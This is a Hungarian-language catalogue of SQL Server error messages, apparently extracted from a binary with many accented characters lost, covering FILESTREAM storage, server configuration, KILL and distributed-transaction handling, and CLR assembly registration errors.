A READ_ONLY, a READ_WRITE s az ONLINE/OFFLINE tulajdonsg nem mdosthat FILESTREAM-naplfjlcsoporton.

A(z)  %1!s!  FILESTREAM-naplfjl nem tvolthat el, mert egy FILESTREAM-adatfjlcsoport hivatkozik r.

Az elsQdleges FILESTREAM-naplfjl nem dobhat el, mert lteznek ms FILESTREAM-fjlcsoportok.

Egy adatbzisnak legfeljebb egyetlen FILESTREAM-naplfjlcsoportja s naplfjlja lehet.

pEgy FILESTREAM-fjl eltvoltsa sikertelen volt. Az adatbzis elsQdleges adatbzis egy rendelkezsre llsi csoportban. Vrja meg, hogy a FILESTREAM-adatfjlok meg legyenek szilrdtva az sszes msodlagos rendelkezsre llsi msodpldnyon. Ezt kvetQen prblja jbl elvgezni a fjleldobsi mqveletet.

0x%1!s! hiba (NT llapotkd) trtnt, amikor az SQL Server megprblta a(z)  %2!s!  helyen lvQ tranzakcis fjlrendszeri erQforrs-kezelQ naplzsi mdjt  %3!s!  mdrl  %4!s!  mdra vltoztatni.

Az SQL Server nem tudja megszerezni a kerneltranzakci-kezelQ (KTM) tranzakcis krnyezett fjlrendszeri mqvelet vgrehajtshoz.

\Hinyzik a FILESTREAM-fjlrendszer  %1!s!:%2!s!:%3!s!  naplsorszm naplbejegyzse. A(z)  %4!s!  naplmappa srlt. Biztonsgi msolatbl lltsa vissza az adatbzist.

A(z)  %4!s!  adatbzishoz tartoz  %1!s!:%2!s!:%3!s!  naplsorszm SQL naplbejegyzs srlt. Az adatbzist nem lehet helyrelltani.

A(z)  %1!s!  FILESTREAM-adattrol srlt. Az adatbzist nem lehet helyrelltani.

A(z)  %1!s!  trlt FILESTREAM-mappa srlt. Az adatbzist nem lehet helyrelltani.

A(z) %1!s! fggvny kizrlag a FILESTREAM-attribtummal rendelkezQ oszlopok esetben rvnyes.

A rszleges frisstsi mqvelet nem tmogatott a FILESTREAM forrssal rendelkezQ oszlopok esetben.

A hasznlt FILESTREAM-trolhoz trstott ROWGUIDCOL oszlop nem lthat meghvott %1!s! metdus esetn.

0A FILESTREAM-oszlop nem hasznlhat a(z) %1!s! metdussal, mert az alaptbla trstott ROWGUIDCOL oszlopa nullzhat vagy nincs egyedi korltozsa.

Megnyitsi mdot kell alkalmazni, ha egy FILESTREAM-oszlop fjlknt van megnyitva.

HNincs trstva fjl a(z)  %1!s!  FILESTREAM-fjlcsoporthoz. Mindaddig nem lehet FILESTREAM-adatokkal feltlteni ezt a fjlcsoportot, amg nincs hozzadva fjl.

Tl sok Filestream-trol lett megadva a kvetkezQ Filestream-fjlcsoporthoz:  %1!s! . Az SQL Server jelen kiadsa nem tmogatja egynl tbb Filestream-trol megadst Filestream-fjlcsoportonknt. Az SQL Server klnbzQ kiadsai ltal nyjtott szolgltatsok tmogatsrl az online knyvekben olvashat bQvebben.

A kvetkezQ FILESTREAM-fjl nem adhat hozz, mert a cl fjlcsoportja nem tartalmazhat egynl tbb fjlt:  %1!s! . Az SQL Server jelen kiadsa nem tmogatja egynl tbb Filestream-trol megadst Filestream-fjlcsoportonknt. Az SQL Server klnbzQ kiadsai ltal nyjtott szolgltatsok tmogatsrl az online knyvekben olvashat bQvebben.

A(z) 0x%2!s! FILESTREAM adatfjl-azonosthoz tartoz  %1!s!  GUID azonostj FILESTREAM-fjl nem ltezik vagy nem lehet megnyitni.

BelsQ SQL Server-hiba. A FILESTREAM-kezelQ nem folytatja az aktulis parancs vgrehajtst.

Egyetlen fjl verziinak szma elrte a fjlrendszer ltal megszabott felsQ korltot.

A mqvelet vgrehajtsa meghisult, mert a FILESTREAM-adatokat nem lehet tnevezni.

A(z)  %1!s!  adatbzis nem ltezik, vagy nem tmogatja a FILESTREAM mqveleteket. Adjon meg rvnyes adatbzisnevet. Az elrhetQ adatbzisok megtekintshez hasznlja a sys.databases katalgusnzetet. 

A(z)  %1!s!  FILESTREAM-trol nem ltezik, vagy nem dolgozhat fel. Adjon meg rvnyes FILESTREAM-trolnevet. Az elrhetQ trolk megtekintshez hasznlja a sys.databases_files katalgusnzetet. 

A kvetkezQ adatbzisnak egyfelhasznls zemmdban kellene lennie:  %1!s! .

A kvetkezQ adatbzis megnyitsa sikertelen volt:  %1!s! .

LA(z)  %1!s!  adatbzis FILESTREAM trlsjelzQ tbljhoz val hozzfrs jelenleg nem lehetsges, mert tkzne egy msik tevkenysggel, pldul egy httrbeli szemtgyqjtsi mqvelettel, biztonsgi mentsi mqvelettel, DBCC CHECK* mqvelettel vagy folyamatban levQ pillanatkp-ksztssel. 

Meg lett szaktva a FILESTREAM szemtgyqjtsi mqvelet a kvetkezQ adatbzison:  %1!s! .

A FILESTREAM-rendszer nem tallja a szemtgyqjtemny-tblt.

BelsQ FILESTREAM-hiba: nem sikerlt elrni a szemtgyqjtemny-tblt.

BelsQ FILESTREAM-hiba: lehetsges adatsrls miatt nem sikerlt vgrehajtani egy fjlrendszer-mqveletet.

Adatbzison nem lehet egyszerre engedlyezni a FILESTREAM-trolst s az adatbzis-tkrzst.

Hiba trtnt FILESTREAM-konfigurci mdostsa vagy alkalmazsa kzben. Tovbbi informcikrt tekintse meg az SQL Server hibanapljt.

A FILESTREAM InstanceGuid azonost null. ElQfordulhat, hogy a belltsjegyzk belltsai srltek. 

Az sp_filestream_configure trolt eljrs enable_level paramternek megadott rtke nem rvnyes. Az rtk csak 0, 1, 2 vagy 3 lehet.

|Egy msik munkamenet futtatja az sp_filestream_configure trolt eljrst. EllenQrizze a frisstett konfigurcis belltsokat, majd ha szksges, prblja jbl elvgezni a mqveletet.

A platformon nem tmogatott a FILESTREAM-mqveletek hasznlata.

\A FILESTREAM szolgltats le van tiltva.

A FILESTREAM szolgltats esetben nincs engedlyezve a fjlrendszer elrse.

A FILESTREAM szolgltats nem tmogatott WoW64 esetn. A szolgltats le van tiltva.

A(z) .%1!s!() fggvnyhez megadott computer_name_format paramter rtke nem rvnyes.

PA .PhysicalPathName le van tiltva.

A FILESTREAM szolgltatst nem sikerlt inicializlni. A Windows-rendszergazdnak a KonfigurcikezelQ segtsgvel engedlyeznie kell a FILESTREAM szolgltatst a pldnyon, mielQtt engedlyezn azt az sp_configure trolt eljrson keresztl.

Az Adatbzisok kzti lncols bellts nem kaphatja a megadott rtket a megadott adatbzison.

0A szolgltats fQkulcsnak   az -F rendszerindtsi paramterrel krelmezett   knyszertett jbli ltrehozsa nem sikerlt. A hiba szma: %1!s!.

 Az SA jelszavnak   a -K rendszerindtsi paramter ltal krelmezett   knyszertett jbli ltrehozsa nem sikerlt. A hiba szma: %1!s!.

tAz SA-fik jelszavnak a -K rendszerindtsi kapcsolval krt knyszertett jbli ltrehozsa, illetve az SA-fiknak a -T1617 nyomkvetsi jelzQvel krt letiltsa sikertelen volt.

A karakterkszletet, a rendezsi sorrendet, illetve a levlogatst nem lehet a kiszolgl szintjn mdostani, mert legalbb egy adatbzis nem rhat. Tegye rhatv az adatbzist, majd prblja jbl elvgezni a mqveletet.

hTl kevs zrols van megadva. Minimum: %1!s!.

`Nem ajnlott %1!s! percnl hosszabb helyrelltsi intervallumot alkalmazni. Ezen konfigurci knyszertett bevezetshez hasznlja a RECONFIGURE WITH OVERRIDE utastst.

xA rendszerkatalgusok ad hoc frisstse nem tmogatott.

`A feltltsi arny rvnyes rtkei: 0 100.

Nincs megfelelQ engedlye a RECONFIGURE utasts futtatshoz.

tA felhasznli kapcsolatok szmnak korltja: %1!s!.

tA megadott felhasznli belltsrtk nem rvnyes.

A minimlis kiszolgli memriartk (%1!s!) nem lehet nagyobb a maximlis rtknl (%2!s!).

A megadott affinitsmaszk nem egyezik ezen rendszer processzormaszkjval.

A megadott affinitsmaszk nagyobb az SQL Server ezen kiadsban tmogatott vagy licencelt processzorszmnl.

A megadott affinits rtke tkzik a megadott ki-/bemeneti affinitsmaszkkal. Mdostsa az affinitsi belltst gy, hogy az ne a ki-/bemeneti affinitsmaszkban megadott processzorokat hasznlja.

Nem sikerlt elindtani a rendszerben a processzorokat a(z) 0x%1!s! maszkkal.

A knnyq kszletezs nem tmogatott ezen a platformon, illetve az SQL Server ezen kiadsban.

A service broker figyelsi portja nem lehet dinamikus. Az rvnyes portszmok tartomnya: 1024 32767.

A service broker kapcsolathitelestsi rtke rvnytelen.

A service broker zenettovbbtsi trolmretnek belltsa nem lehet 0.

xA service broker zenettovbbtsi mdja nem rvnyes.

Az alaprtelmezett teljes szveges nyelvet nem tmogatja a teljes szveges keressi sszetevQ.

lTl kevs munkaszl van megadva. A minimum %1!s!.

A felhasznli pldnyokat nem tmogatja az SQL Server ezen kiadsa.

A kzs nyelvi futtatkrnyezet (CLR) vgrehajtsa nem tmogatott knnyq kszletezs kzben. Tiltsa le a kvetkezQ kt lehetQsg valamelyikt:  clr enabled  (CLR bekapcsolva) vagy  lightweight pooling  (knnyq kszletezs).

Az affinitstartomny nem rvnyes. Az als hatr rtknek (%1!s!) kisebbnek kell lennie a(z) %2!s! felsQ hatrnl.

Egy %1!s! rtk egynl tbbszr van megadva valamelyik ALTER SERVER CONFIGURATION SET PROCESS AFFINITY utasts tartomnylistjban.

Az affinitsbellts nem vltozott. Ennek lehetsges oka, hogy a rendszer erQforrsainak szqksek.

A(z) %2!s! %3!s! elemet meghatroz %1!s! tartomny tartalmaz legalbb egy olyan %4!s! elemet, amely nem rhetQ el az aktulis pldny szmra. A pldny szmra elrhetQ %5!s! szm: %6!s!.

Az aktulis affinitsbellts 64-nl tbb processzor hasznlatt szabja meg. MielQtt az sp_configure trolt eljrssal mdostja az affinitsi belltsokat, tvoltsa el a processzorokat az ALTER SERVER CONFIGURATION utasts segtsgvel.

LNem tallhat a(z) %1!s! (azonostja: %2!s!) ezen a rendszeren. A sys.dm_os_schedulers trolt eljrssal keressen rvnyes %3!s!s elemeket ehhez a rendszerhez.

A munkaszlak maximlis szma tl alacsonyra van lltva. Ezen a szmtgpen ennek az rtknek magasabbnak kell lennie mint %1!s!. Nvelje meg a munkaszlak szmnak felsQ hatrrtkt.

A kvetkezQ tulajdonsg rtknek mdostsa sikertelen volt:  %1!s! . Az opercis rendszer ltal visszaadott hiba: %2!s!

A be-/kimeneti affinits nem tmogatott az SQL Server jelen kiadsban.

A kvetkezQ adatbzishoz tartoz egy vagy tbb helyrelltsi egysg nem generlt ellenQrzQpontot:  %1!s! . Ennek oka ltalban a rendszererQforrsok  pldul lemezterlet vagy memria  hinya, illetve egyes esetekben az adatbzis srlse. A hibra vonatkoz rszletesebb informcirt vizsglja meg a hibanapl elQzQ bejegyzseit.

Nem lehet ltrehozni ellenQrzQpontot; nincs elegendQ szabad zrols. A httrben fut ellenQrzQponti folyamat a zrolsok felszabadulsig felfggesztett llapotban marad. Zrolsok felszabadtshoz listzza a tranzakcikat s a hozzjuk tartoz zrolsokat, majd szaktsa meg a legtbb zrolst hasznl tranzakcit.

tA kvetkezQ munkamenet-azonost rvnytelen: %1!s!.

A felhasznl nem rendelkezik megfelelQ engedllyel a KILL utasts hasznlathoz.

Nem hasznlhatja a KILL utastst a sajt folyamatnak lelltshoz.

lA(z) %1!s! folyamatazonost nem aktv azonost.

lCsak felhasznli folyamatokat lehet lelltani.

A KILL SPID WITH COMMIT/ROLLBACK utasts nem tmogatott a Microsoft SQL Server programban. Hasznlja a KILL UOW WITH COMMIT/ROLLBACK utastst a bizonytalan elosztott tranzakcik feloldshoz a Microsoft Distributed Transaction Coordinator (MS DTC) segtsgvel.

A(z) %1!s! UOW-rtkkel rendelkezQ elosztott tranzakci nem ltezik.

Egy msik felhasznl eltrQ kimenetet vlasztott a(z) %1!s! UOW-rtkhez trstott elosztott tranzakci esetn.

A(z) %1!s! UOW-rtkkel rendelkezQ elosztott tranzakci elQksztett llapotban van. Kizrlag a Microsoft Distributed Transaction Coordinator kpes feloldani ezt a tranzakcit. A KILL parancs vgrehajtsa nem sikerlt.

hA(z) %1!s! UOW-rtkhez trstott elosztott tranzakci PREPARED (elQksztett) llapotban van. Inkbb a KILL UOW WITH COMMIT/ROLLBACK szintakszissal lltsa le a tranzakcit.

A(z) %1!s! UOW-rtkhez trstott elosztott tranzakcit jelenleg msik felhasznl hasznlja. A KILL parancsot nem sikerlt vgrehajtani.

A KILL parancsot nem lehet hasznlni felhasznli tranzakcin bell.

0A(z) %1!s! UOW-rtkkel rendelkezQ elosztott tranzakcihoz van trstva kapcsolat. ElQszr trlje a kapcsolatot a KILL SPID parancsszintakszissal.

<A(z) %1!s! UOW-rtkhez trstott elosztott tranzakci nem PREPARED (elQksztett) llapotban van. Inkbb a KILL UOW paranccsal lltsa e a tranzakcit.

Nem lehet beolvasni az llapotjelentst. Nincs folyamatban visszalltsi mqvelet a(z) %1!s! folyamatazonost esetben.

Nem lehet beolvasni az llapotjelentst. Nincs folyamatban visszalltsi mqvelet a(z) %1!s! UOW esetben.

pA(z)  %3!s!  szerelvnyben tallhat,  %2!s!  tpus  %1!s!  metdus llapotmdostknt van jellve. llapotmdostt nem lehet hasznlni a lekrdezs csak olvashat szakaszban.

xA(z)  %3!s!  szerelvnyben tallhat,  %2!s!  tpus  %1!s!  metdus nem llapotmdostknt van jellve. CLR-beli tpus rtknek mdostshoz csak llapotmdostt lehet hasznlni.

A(z)  %3!s!  szerelvnyben tallhat,  %2!s!  tpus  %1!s!  metdus nem kld vissza rtket.

A(z)  %3!s!  szerelvnyben tallhat,  %2!s!  tpus  %1!s!  metdus nem jellhetQ llapotmdostknt. llapotmdost metdus csak nem statikus, publikus lehet, tovbb  void  tpust kell visszaadnia.

A rendszer %1!s! oszlopot tartalmaz rekord kldsre tesz ksrletet %2!s! oszlopot tartalmaz eredmnyhalmazba.

A(z) %1!s! ASSEMBLY meghisult, mert a(z)  %2!s!  szerelvny fordtsa /UNSAFE paramterrel trtnt, de a szerelvny regisztrlsakor nem volt megadva az ehhez szksges PERMISSION_SET = UNSAFE bellts.

Az elkldtt krelemben tl sok paramter szerepel. A maximlis szm %1!s!.

PHiba trtnt a(z) %1!s! rgztett hosszsg binris tpusv konvertlsakor. Az eredmnyt kitlttt teszi a rendszer, ezrt a visszakonvertls nem lehetsges.

4%1!s! meghisult, mert a FillRow metdus paramterszmnak eggyel nagyobbnak kell lennie a tblzat rtkq CLR-fggvnyhez tartoz SQL-deklarcinl.

Bizonytalan rendezs a(z)  %1!s!  CLR-beli tpus esetben: NULL visszaadsa nem NULL bemenetre.

A(z)  %1!s!  CLR-beli tpus nem teljesen sszehasonlthat.

A(z) %1!s! ASSEMBLY utasts vgrehajtsa meghisult, mert a(z)  %4!s!  %3!s! szerelvnyben tallhat  %2!s!  tpus rendelkezik statikus mezQvel ( %5!s! ). A statikus mezQk attribtumait %6!s! szerelvnyekben a kvetkezQkppen kell jellni: readonly (Visual C# esetn), ReadOnly (Visual Basic esetn), initonly (Visual C++ s kztes nyelv esetn).

A(z) %1!s! ASSEMBLY utasts vgrehajtsa meghisult, mert a(z)  %3!s!  tpusra vonatkoz,  %5!s!  %4!s! szerelvnyben tallhat  %2!s!  metdus statikus mezQben trol adatokat. Statikus mezQben nem lehet trolni a(z) %6!s! szerelvnyekben.

A(z) %1!s! ASSEMBLY utasts vgrehajtsa meghisult, mert a(z)  %3!s!  tpusra vonatkoz,  %5!s!  %4!s! szerelvnyben tallhat  %2!s!  metdus szinkronizlt attribtummal rendelkezik. Az explicit szinkronizls nem engedlyezett %6!s! szerelvnyekben.

A(z) %1!s! ASSEMBLY utasts vgrehajtsa meghisult, mert a(z)  %2!s!  szerelvnyben nem kezelt belpsi pont tallhat.

A(z) %1!s! ASSEMBLY utasts vgrehajtsa meghisult, mert a(z)  %3!s!  tpusra vonatkoz,  %5!s!  %4!s! szerelvnyben tallhat  %2!s!  metdus rvnytelen attribtummal rendelkezik: 0x%6!s!.

A(z) %1!s! ASSEMBLY utasts vgrehajtsa meghisult, mert a(z)  %4!s!  %3!s! szerelvnyben tallhat  %2!s!  tpus rendelkezik befejezQvel. A befejezQ hasznlata nem engedlyezett %5!s! szerelvnyekben.

Az ALTER ASSEMBLY ADD FILE utasts vgrehajtsa meghisult, mert a hozzadni kvnt  %1!s!  fjl res.

 Sikertelen a(z) %1!s! ASSEMBLY utasts a(z)  %2!s!  szerelvny esetben, mert az ellenQrzs a(z)  %3!s!  szerelvnnyel kapcsolatos hibt tallt. EllenQrizze, hogy a hivatkozott szerelvnyek naprakszek s megbzhatk-e (az external_access vagy az unsafe eljrshoz) az adatbzisban trtnQ vgrehajts szempontjbl. A CLR Verifier hibazenetei (ha vannak) ezen zenet utn kvetkeznek (%4!s!).

A(z) %1!s! ASSEMBLY utasts vgrehajtsa meghisult, mert a(z) %2!s! szerelvnyforrs-paramter nem kezelt belpsi pontot tartalmaz.

A SELECT INTO utasts vgrehajtsa meghisult, mert a(z)  %1!s!  CLR-beli tpus nem ltezik a cladatbzisban.

A kurzormqvelet tbb sornyi klnbzQ oszlop-metaadatot hozott ltre.

<A(z)  %1!s!.%2!s!  tpus meg van jellve natv szerializlsra, de a(z)  %4!s!.%5!s!  tpus  %3!s!  mezQjn nem rvnyes a natv szerializlsi mqvelet.

A(z)  %1!s!.%2!s!  tpus meg van jellve natv szerializlsra, de a(z)  %4!s!.%5!s!  tpus  %3!s!  mezQje  %6!s!.%7!s!  tpus, s nem  LayoutKind.Sequential  jellsq. A natv szerializlshoz a tpusnak  LayoutKind.Sequential  jellsqnek kell lennie.

A(z)  %1!s!.%2!s!  tpus meg van jellve natv szerializlsra, de a(z)  %4!s!.%5!s!  tpus  %3!s!  mezQjnek jellse  System.NonSerializedAttribute . A natv szerializlsi tpusoknak nem lehet  System.NonSerializedAttribute  jellsq mezQje.

A(z)  %1!s!.%2!s!  tpus meg van jellve natv szerializlsra, de a(z)  %4!s!.%5!s!  tpus  %3!s!  mezQje  %6!s!.%7!s!  tpus, amely nem rtk tpus. A natv szerializlsi tpusoknak csak kzvetlenl tadhat tpus mezQi lehetnek. Ha brmilyen ms tpus mezQt kvn hasznlni, rdemes msik szerializlsi formtumot vlasztani, pldul a felhasznl ltal definilt szerializlst.

A(z)  %1!s!.%2!s!  tpus meg van jellve natv szerializlsra, de nem alkalmazza a(z)  %3!s!.%4!s!  felletet.

A(z)  %1!s!.%2!s!  tpus meg van jellve natv szerializlsra, de a(z)  %4!s!.%5!s!  tpus  %3!s!  mezQje  %6!s!.%7!s!  tpus, s nem adhat t kzvetlenl, vagy a kvetkezQ tpus defincija rekurzv:  %8!s!.%9!s! .

A(z)  %1!s!.%2!s!  tpus meg van jellve natv szerializlsra, de nem kzvetlenl tadhat mezQket tartalmaz.

A(z)  %1!s!.%2!s!  tpus meg van jellve natv szerializlsra, de nincs  LayoutKind.Sequential  jellse. A natv szerializls felttele, hogy a tpus rendelkezzen  LayoutKind.Sequential  jellssel.

A(z)  %1!s!.%2!s!  tpus meg van jellve natv szerializlsra, de a(z)  %4!s!.%5!s!  tpus  %3!s!  mezQje rendelkezik mezQsorrendezQvel. A natv szerializlsi tpusok nem rendelkezhetnek mezQsorrendezQvel.

PA(z)  %1!s!.%2!s!  tpus meg van jellve natv szerializlsra, de az alaptpusai kz tartoz  %3!s!.%4!s!  esetben nem rvnyes a natv szerializlsi mqvelet.

A(z)  %1!s!.%2!s!  tpus meg van jellve natv szerializlsra, de a(z)  %3!s!.%4!s!  alaptpusa nem rendelkezik  LayoutKind.Sequential  jellssel. A natv szerializls felttele, hogy a tpus rendelkezzen  LayoutKind.Sequential  jellssel.

Az eljrson belli adathozzfrs nem engedlyezett megszemlyestett llapotban.

Adatcsonkolsi hiba. A hossz (%1!s!) meghaladja a(z)  %3!s!  tpus esetben rvnyes maximlis hosszsgot (%2!s!).

Adatszerializlsi hiba. A hossz (%1!s!) nem ri el a(z)  %3!s!  tpus esetben rvnyes rgztett hosszsgot (%2!s!).

A(z) %1!s! ASSEMBLY utasts vgrehajtsa meghisult, mert a(z)  %2!s!  fjlnv tl hossz.

A(z) %1!s! ASSEMBLY utasts vgrehajtsa meghisult, mert a(z)  %4!s!  szerelvnyben tallhat  %3!s!  tpusra vonatkoz  %2!s!  metdus rvnytelen egyni attribtummal rendelkezik:  %5!s! .

lA(z) %1!s! ASSEMBLY utasts vgrehajtsa meghisult, mert a(z)  %4!s!  szerelvnyben a(z)  %3!s!  tpus  %2!s!  mezQjben rvnytelen egyni attribtummal rendelkezik:  %5!s! .

TA(z) %1!s! ASSEMBLY utasts vgrehajtsa meghisult, mert a(z)  %3!s!  szerelvnyben tallhat  %2!s!  tpus rvnytelen egyni attribtummal rendelkezik:  %4!s! .

Az ALTER ASSEMBLY utasts vgrehajtsa sikertelen, mert a(z)  %2!s!  tpus  %1!s!  fggvny mr nem felel meg az indexelhetQsgi kvetelmnyeknek, s a kvetkezQ indexelt nzethez lett felhasznlva:  %3!s! .

dA rendszer rekord kldst ksrli meg a(z) %1!s! oszloptpussal, illetve oszlopnvvel, amely nem egyezik az eredmnyhalmaz megfelelQ oszlopnak tpusval, illetve nevvel.

A CREATE ASSEMBLY utasts vgrehajtsa meghisult, mert a hitelestsi zradkban megadott  %1!s!  felhasznl nem ltezik.

A(z)  %1!s!.%2!s!  meg van jellve natv szerializlsra, a MaxByteSize tulajdonsga pedig meg van adva a(z)  %3!s!  attribtumban. A natv szerializlsi objektumok nem adhatnak rtket a MaxByteSize tulajdonsgnak, azt az SQL Server szmtja ki.

A(z)  %2!s!.%3!s!  mrete (%1!s!) nincs az rvnyes tartomnyban. A mret csak  1, illetve 1 s 8000 kzti szmrtk lehet.

rvnytelen szerializlsi formtum (%1!s!) tartozik a(z)  %2!s!.%3!s!  tpushoz.

Mr ltezik  %1!s!  nevq szerelvny a(z)  %2!s!  adatbzisban.

Nem lehet ltrehozni a tpust, mert  %1!s!.%2!s!  hossza nem lehet rgztett, ha a MaxByteSize tulajdonsgnak megadott rtke  1.

A(z) %1!s! vgrehajtsa sikertelen volt, mert a(z) '%2!s!' tpusban szereplQ, az SqlUserDefinedType.ValidateMethodName metdus ltal definilt '%3!s!' metdus az rvnytelen alrsa miatt nem felel meg a ktelezQ specifikcinak.

A trstott  %1!s!  fjl mr ltezik a(z)  %2!s!  szerelvnyhez.

A(z)  %1!s!  szerelvnyhez nincs trstva  %2!s!  nevq fjl.

Az ALTER ASSEMBLY utasts vgrehajtsa meghisult, mert a(z) %1!s! szerelvnyfjl-paramter nem rvnyes kifejezs.

Az ALTER ASSEMBLY utasts vgrehajtsa meghisult, mert nincs megadva fjlnv a(z) %1!s! begyazott szerelvnyfjl-paramterhez.

(A(z) %1!s! vgrehajtsa sikertelen, mert a(z)  %2!s!  tpus nem felel meg a(z) %3!s! specifikcinak: hinyzik a(z)  %4!s!  egyni attribtum.

Az elkldtt SqlPipe krelemben tl sok oszlop szerepelt. A maximlis szm: %1!s!.

PA CREATE ASSEMBLY sikertelen volt a(z)  %1!s!  szerelvny esetben, mert a szerelvny a CLR (kzs nyelvi futtatkrnyezet) egy nem tmogatott verzijhoz kszlt.

A  FillRow  metdus (az SqlFunctionAttribute.FillRowMethodName ltali) fggvnyalrsa nem egyezik a(z)  %1!s!  tblzat rtkq CLR-fggvnyhez tartoz SQL-deklarcival a(z) %2!s! oszlop miatt.

A kvetkezQ szerelvny betltse sikertelen volt, mert a szerelvny nem felelt meg az ellenQrzsen:  %1!s! . %2!s!

Hiba trtnt j sor a kvetkezQ, felhasznl ltal definilt tblzat rtkq fggvnybQl trtnQ beolvassakor: %1!s!.

8A(z)  %2!s!  tblavltoz  %1!s!  oszlopa ltal hivatkozott CLR-beli tpust elvetette a rendszer a kteg vgrehajtsa kzben. Futtassa jra a kteget.

Nem tallhat szerelvny az aktulis adatbzisban, vagy a verziszm nem egyezik.

Le van tiltva a felhasznli kd futtatsa a .NET-keretrendszerben. Kapcsolja be a  clr enabled  konfigurcis belltst.

Az adatelrs meghisult, mert a .NET-keretrendszer rutinjnak nincs  DataAccessKind.Read , illetve  SystemDataAccessKind.Read  jellse.

A(z) %1!s! ASSEMBLY utasts vgrehajtsa meghisult, mert a(z)  %4!s!  %3!s! szerelvnyben tallhat  %2!s!  tpus pinvokeimpl metdussal rendelkezik. A P/Invoke nem engedlyezett %5!s! szerelvnyekben.

A(z)  %1!s!  szerelvny nem ltezik, illetve a felhasznlnak nincs engedlye arra mutat hivatkozs hasznlatra.

lAz ALTER ASSEMBLY utasts vgrehajtsa meghisult, mert a felhasznl ltal definilt  %1!s!  sszests nem ltezik, vagy nincs helyesen definilva a frisstett szerelvnyben.

tAz ALTER ASSEMBLY utasts vgrehajtsa meghisult, mert a(z)  %2!s!  tpusban szereplQ szksges  %1!s!  metdus nem tallhat a frisstett szerelvnyben ugyanazzal az alrssal.

lAz ALTER ASSEMBLY utasts vgrehajtsa sikertelen, mert a(z)  %2!s!  tpusban szereplQ szksges %1!s!  mezQ nem tallhat a frisstett szerelvnyben ugyanazzal az alrssal.

xAz ALTER ASSEMBLY utasts vgrehajtsa sikertelen, mert a(z)  %2!s!  tpusban szereplQ szksges %1!s!  tulajdonsg nem tallhat a frisstett szerelvnyben ugyanazzal az alrssal.

@Az ALTER ASSEMBLY utasts vgrehajtsa sikertelen, mert a szksges  %1!s!  tpus nem ltezik, vagy nincs helyesen definilva a frisstett szerelvnyben.

Az ALTER ASSEMBLY utasts vgrehajtsa sikertelen, mert a(z)  %1!s!  tpus szerializlsi formtuma megvltozna a frisstett szerelvnyben. MegQrztt tpusok hasznlata nem engedlyezett a szerializlsi formtum megvltoztatshoz.

$Az ALTER ASSEMBLY utasts vgrehajtsa sikertelen, mert a(z)  %1!s!  tpus IsByteOrdered attribtuma megvltozna a frisstett szerelvnyben.

Az ALTER ASSEMBLY utasts vgrehajtsa sikertelen, mert a(z)  %1!s!  tpus szerializlsi adatai megvltoznnak a frisstett szerelvnyben. MegQrztt tpusok hasznlata nem engedlyezett a szerializlsi adatok megvltoztatshoz.

Az ALTER ASSEMBLY utasts vgrehajtsa sikertelen, mert a(z)  %1!s!  tpus MaxLen attribtuma megvltozna a frisstett szerelvnyben. MegQrztt tpusok hasznlata nem engedlyezett a MaxLen attribtum megvltoztatshoz.

Az ALTER ASSEMBLY utasts vgrehajtsa sikertelen, mert a(z)  %1!s!  tpus IsFixedLen attribtuma megvltozna a frisstett szerelvnyben. MegQrztt tpusok hasznlata nem engedlyezett a IsFixedLen attribtum megvltoztatshoz.

Az ALTER ASSEMBLY utasts vgrehajtsa sikertelen, mert a(z)  %2!s!  tpusban a(z)  %1!s!  metdus llapotmdost attribtuma megvltozna a frisstett szerelvnyben, s a metdust hasznlja a(z)  %3!s!  nevq, smhoz kttt fggvny vagy nzet.

Az ALTER ASSEMBLY utasts vgrehajtsa sikertelen, mert a(z)  %1!s!  tbla, nzet vagy korltozs fgg ettQl a szerelvnytQl. Hasznlja a WITH UNCHECKED DATA utastst a megQrztt adatok ellenQrzsnek kihagyshoz.

LAz ALTER ASSEMBLY utasts vgrehajtsa sikertelen, mert kizrlag a sysadmin szerepkrrel rendelkezQ felhasznlk hasznlhatjk a WITH UNCHECKED DATA utastst.

HAz ALTER ASSEMBLY utasts vgrehajtsa sikertelen, mert az a hivatkozott szerelvnyek megvltozst eredmnyezn. A hivatkozott szerelvnylista nem vltozhat.

Az ALTER ASSEMBLY utasts vgrehajtsa sikertelen, mert csak a szerelvny verziszma vltozhat.

dAz ALTER ASSEMBLY utasts vgrehajtsa sikertelen, mert hivatkozik r a(z)  %1!s!  objektum. Az SQL-objektum ltal hivatkozott szerelvnyeket nem lehet lthatatlann tenni.

@A(z) %1!s! ASSEMBLY utasts vgrehajtsa sikertelen, mert az MVID alapjn a forrsszerelvny megegyezik a(z)  %2!s!  nven mr regisztrlt szerelvnnyel.

\A(z) %1!s! ASSEMBLY utasts vgrehajtsa sikertelen, mert a(z)  %3!s!  szerelvny ltal hivatkozott  %2!s!  szerelvny msik verzija mr megtallhat az adatbzisban.

Az ALTER ASSEMBLY utasts vgrehajtsa sikertelen, mert a(z)  %2!s!  tpus  %1!s!  fggvny mr nem felel meg az indexelhetQsgi kvetelmnyeknek, s a kvetkezQ tbla  %3!s!  megQrztt szmtott oszlophoz lett felhasznlva:  %4!s! .

Az ALTER ASSEMBLY utasts ellenQrizetlennek jellt adatokat a(z)  %1!s!  adatbzis legalbb egy objektumban. Az sszes ilyen objektum azonostshoz tekintse meg a  sys.tables  s a  sys.views  rendszernzet  has_unchecked_assembly_data  oszlopt.

Nem sikerlt memrit lefoglalni a kzs nyelvi futtatkrnyezet (CLR) szolgltats szmra.

Nem sikerlt trlni a memribl a kvetezQt: %1!s! AppDomain (%2!s!). Hibakd: 0x%3!s!.

Az ezen mqvelethez trstott tranzakci esetben vglegestsre vagy visszalltsra kerlt sor. Prblkozzon msik tranzakcival.

%1!s!.%2!s!.%3!s!: Az SqlFacetAttribute rvnytelen nem nyilvnos tag esetn.

%1!s!.%2!s!.%3!s!: Az SqlFacetAttribute attribtum %4!s! tulajdonsga nem hasznlhat ebben a krnyezetben.

%1!s!.%2!s!.%3!s!: Az SqlFacetAttribute attribtum %4!s! tulajdonsgnak rtke rvnytelen.

4%1!s!.%2!s!.%3!s!: Az SqlFacetAttribute nem alkalmazhat sem tulajdonsgbeolvasn, sem tulajdonsgbelltn. Magra a tulajdonsgra kell alkalmazni.

0%1!s!.%2!s!.%3!s!: Az SqlFacetAttribute attribtum IsFixedLength tulajdonsga nem llthat  true  (igaz) rtkre, ha a MaxSize megadott rtke -1.

%1!s!.%2!s!.%3!s!: Az SqlFacetAttribute attribtum Precision (pontossg) s Scale (skla) tulajdonsgt egytt kell hasznlni.

A CREATE, illetve az ALTER XML SCHEMA COLLECTION utasts argumentuma csak karakterlnc kifejezs lehet.

XML-elemzs: A dokumentumelemzs tl sok memrit ignyelt.

